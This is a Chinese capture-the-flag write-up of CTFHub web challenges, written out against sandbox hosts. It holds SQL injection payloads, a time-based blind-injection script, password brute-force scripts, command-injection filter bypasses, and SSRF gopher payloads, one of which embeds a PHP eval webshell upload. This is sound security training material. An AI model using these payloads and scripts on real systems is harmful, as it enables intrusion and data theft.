[ctf学习]ctfhub技能树-web

web前置

HTTP协议

请求方式

背景知识
HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
方法
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

题目
用burp修改请求方式为CTFHUB
获得flag
[ctf学习]ctfhub技能树-web_第1张图片

302跳转

使用burp获得flag
ctfhub{688948eb9f3d9955c48d04fb}

Cookie

admin修改为1
ctfhub{a4c03521d62d2447621e48ea}

基础认证

在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。

burp暴破
对用户名和密码进行了base64加密
规则里选择增加前缀和base64加密
[ctf学习]ctfhub技能树-web_第2张图片
[ctf学习]ctfhub技能树-web_第3张图片
flag在状态为200的里面
[ctf学习]ctfhub技能树-web_第4张图片

响应包源代码

查看源码获得flag
[ctf学习]ctfhub技能树-web_第5张图片

信息泄露

目录遍历

打开burp-spider this host
[ctf学习]ctfhub技能树-web_第6张图片
[ctf学习]ctfhub技能树-web_第7张图片

PHPINFO

[ctf学习]ctfhub技能树-web_第8张图片

备份文件下载

网站源码

www.zip 里面没有找到flag但是告诉我们有个flag_22975839.txt
文件,访问获得flag

http://challenge-0f51685a3afc80f1.sandbox.ctfhub.com:10800/flag_22975839.txt

bak文件

扫描得到:

http://challenge-bd93da6e6234eb5c.sandbox.ctfhub.com:10800/index.php.bak

vim缓存

扫描得到
http://challenge-017184f19278ca14.sandbox.ctfhub.com:10800/.index.php.swp

.DS_Store

.ds_store里有
$ f 0 2 e c d 3 f 3 1 8 a 9 4 1 4 3 a 9 1 5 a 7 2 5 9 0 1 2 d 1 b . t x tnoteustr
f l a g h e r e !
访问/f02ecd3f318a94143a915a7259012d1b.txt 获得flag

Git泄露(未完成)

Log

用Git_Extract-master下载获得flag

Stash

git clone https://github.com/BugScanTeam/GitHack
然后进入文件夹
需要使用python2运行
python2 GitHack.py http://xxx/.git
git stash会把所有未提交的修改(包括暂存的和非暂存的)都保存起来,用于后续恢复当前工作目录。
可以使用git stash list命令查看现有stash,可以通过git stash pop命令恢复之前缓存的工作目录。
[ctf学习]ctfhub技能树-web_第9张图片
新生成的txt里有flag或者
git stash show -p可以查看特定stash的全部diff
[ctf学习]ctfhub技能树-web_第10张图片

Index

使用githack下载后
git show 看到flag
[ctf学习]ctfhub技能树-web_第11张图片

看网上别人的wp是这么做的
git log 显示提交日志信息,输入git diff +(commit后面的内容)

[ctf学习]ctfhub技能树-web_第12张图片

SVN泄露

下载工具

git clone https://github.com/kost/dvcs-ripper

进行简单配置相关要求的组件

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

2)恢复.svn
进入工具目录/dvcs-ripper,执行下面命令开始恢复
./rip-svn.pl http://challenge-78f4515413350eaa.sandbox.ctfhub.com:10800
3)进入.svn目录,查找flag

密码口令

弱口令

用户名为admin对密码进行暴破
[ctf学习]ctfhub技能树-web_第13张图片
python
附上我写的脚本,实用性不强,不如burp快

import requests
dic=r'1.txt'
url='http://challenge-e0c68f5c5362298c.sandbox.ctfhub.com:10800/'
f=open(dic,'r')
l=f.readlines()
for i in l:
	data={
	'name':'admin',
	'password':i[:-1],
	'referer':''
	}

	r=requests.post(url,data=data)
	if 'ctfhub{' in r.text:
		print(r.text)
		break

f.close()

这里i不包括最后一个字符

默认口令

账号:eyougw 密码:admin@(eyou)

SQL注入

整数型注入

我一般判断是否为整形,喜欢用2-1 看回显
在这里插入图片描述
最后payload:
?id=-1 union select 1,(select group_concat(flag) from flag)

字符型注入

?id=-1’ union select 1,(select group_concat(flag) from flag)%23

报错注入

1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e))
?id=1 and extractvalue(1,concat(0x7e,(mid((select group_concat(flag) from flag),15,25)),0x7e))

布尔盲注

布尔盲注的脚本平时写得多,这里懒得写了
直接用sqlmap
在这里插入图片描述
在这里插入图片描述
……结果发现sqlmap 花了15分钟!!!

时间盲注

还是脚本快,用脚本做完题,sqlmap才出来ct两个字母
sqlmap语句参考上一题
[ctf学习]ctfhub技能树-web_第14张图片
附上脚本:

import requests
import time
url = "http://challenge-97919233c33370a8.sandbox.ctfhub.com:10800/"
flag = ''
for i in range(1,100):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        data = "?id=1 and if(ascii(substr((select group_concat(flag) from flag),%d,1))>%d,sleep(0.2),1)" % (i, mid)
        start_time=time.time()
        r = requests.get(url=url+data)
        if time.time() - start_time >0.2:
            low = mid + 1
        else:
            high = mid
    if high<33:
        break

    flag += chr(low)
    print(flag)

MySQL结构

见上面题目 略

Cookie注入

手工注入(最基础的联合注入):
Cookie: id=-1 union select 1,(select group_concat(xrnwtpftud) from aaajrkbzts);
sqlmap:
[ctf学习]ctfhub技能树-web_第15张图片
保存为post.txt
在这里插入图片描述
这种普通注入还是sqlmap快,再能使用sqlmap的时候尽量使用

UA注入

ua头注入
python sqlmap.py -u http://challenge-7fd72534e86a2341.sandbox.ctfhub.com:10800 --level3 --dbs

Refer注入

sqlmap太慢了 还是手工注入
感觉今天是被sqlmap折腾疯了的一天
referer:id=-1 union select 1,(select group_concat(gzmjkqhiui) from hbjrciejlp)

过滤空格

?id=-1/**/union/**/select/**/1,(select/**/group_concat(wrsnvyazfc)/**/from/**/wwscprtpih)

RCE

eval执行

?cmd=system(‘nl /flag_3122’);

过滤目录分隔符

;cd flag_is_here;nl flag_318352766115537.php

过滤运算符

;nl fl*

综合过滤练习


我的做法
1.使用grep -r递归查找内容

?ip=%0agrep%09-r%09ub{%09fla?_is_here

2.使用cd绕过“/”

?ip=%0acd%09fl*%0anl%09fla*

看看网上别人的做法

?ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65%22)#
?ip=127.0.0.1%0Aca%27%27t${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65x2Fx66x6Cx61x67x5Fx32x31x37x38x38x33x31x31x36x38x38x36x30x31x2Ex70x68x70%22)#

这里我测试不成功
[ctf学习]ctfhub技能树-web_第16张图片

SSRF

1分支

内网访问

/?url=http://127.0.0.1/flag.php

伪协议读取文件

背景知识
file:// 协议
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http/s协议
探测内网主机存活

dict协议
泄露安装软件版本信息,查看端口,操作内网redis服务等

Gopher协议
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

题目payload:

/?url=file:///var/www/html/flag.php

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
使用burp
[ctf学习]ctfhub技能树-web_第17张图片
[ctf学习]ctfhub技能树-web_第18张图片
python:
附上我写的脚本,因为是单线程20多秒的比用burp久

import requests
for i in range(8000,9000):
	url="http://challenge-b884a78d20ef5e16.sandbox.ctfhub.com:10800/?url=127.0.0.1:%d" % i
	res = requests.get(url)
	if "{" in res.text:
		print(res.text)
		break

2分支

POST请求

题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

用file协议获得index.php源码

flag.php


通过http协议获得


传入一个gopher协议的数据包,应构造的gopher数据包:

POST /flag.php HTTP/1.1
Host: challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=9a687c45eceac60d1ebbee53afa603f3

gopher协议传参步骤:
1.构造好gopher协议传入的数据包
2.进行一次url编码,把编码后的结果中,%0A替换成%0d%0A,结尾加上%0d%0A
3.再进行一次URL编码
4.?url=gopher://xxxxxxxxxxxx 传入即可
处理后的payload:

?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D9a687c45eceac60d1ebbee53afa603f3%250D%250A

代码见https://editor.csdn.net/md/?articleId=125596613
ctfhub{8e809679a5d06eefd728ab8b}

上传文件

这次需要上传一个文件到flag.php了.祝你好运
读一下flag.php的代码,这里只需要上传一个文件就可以获得flag

 0){
    echo getenv("CTFHUB");
    exit;
}
?>

?url=127.0.0.1/flag.php 来到这个页面
增加一个按钮


上传一个文件burp拦截

POST /flag.php HTTP/1.1
Host: challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------109084428027991433181660077227
Content-Length: 350
Origin: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------109084428027991433181660077227
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream


-----------------------------109084428027991433181660077227
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------109084428027991433181660077227--

对他进行处理后
得到payload:

?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A102.0%2529%2520Gecko/20100101%2520Firefox/102.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------109084428027991433181660077227%250D%250AContent-Length%253A%2520350%250D%250AOrigin%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bh%255D%2529%253B%253F%253E%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------109084428027991433181660077227--%250D%250A

获得flag
在这里插入图片描述

bypass

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

?url=http://[email protected]/flag.php

数字IP Bypass

试了下不允许有127/172
通过尝试以下可以
?url=0/flag.php
?url=http://2130706433/flag.php(16进制 8进制也可以)
?url=http%3a%2f%2flocalhost%2f/flag.php

302跳转 Bypass

同上一题payload
.用我的理解来说就是,用户访问一个特定的域名,然后这个域名原来是一个正常的ip。但是当域名持有者修改域名对应的ip后,用户再访问这个域名的时候,浏览器以为你一直访问的是一个域名,就会认为很安全。这个是DNS重绑定攻击

这个是我的理解

这里可以让用户访问一个域名,然后这个域名在访问127.0.0.1

这里我使用的是文中所写的那个网站

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

DNS重绑定并没有违反同源策略,相当于是钻了同源策略,同域名同端口访问的空子了。

这里的操作十分的简单

首先先打开那个网站,然后设置为
[ctf学习]ctfhub技能树-web_第19张图片
在这里插入图片描述

你可能感兴趣的:(ctf学习,ctf刷题,学习,前端,网络)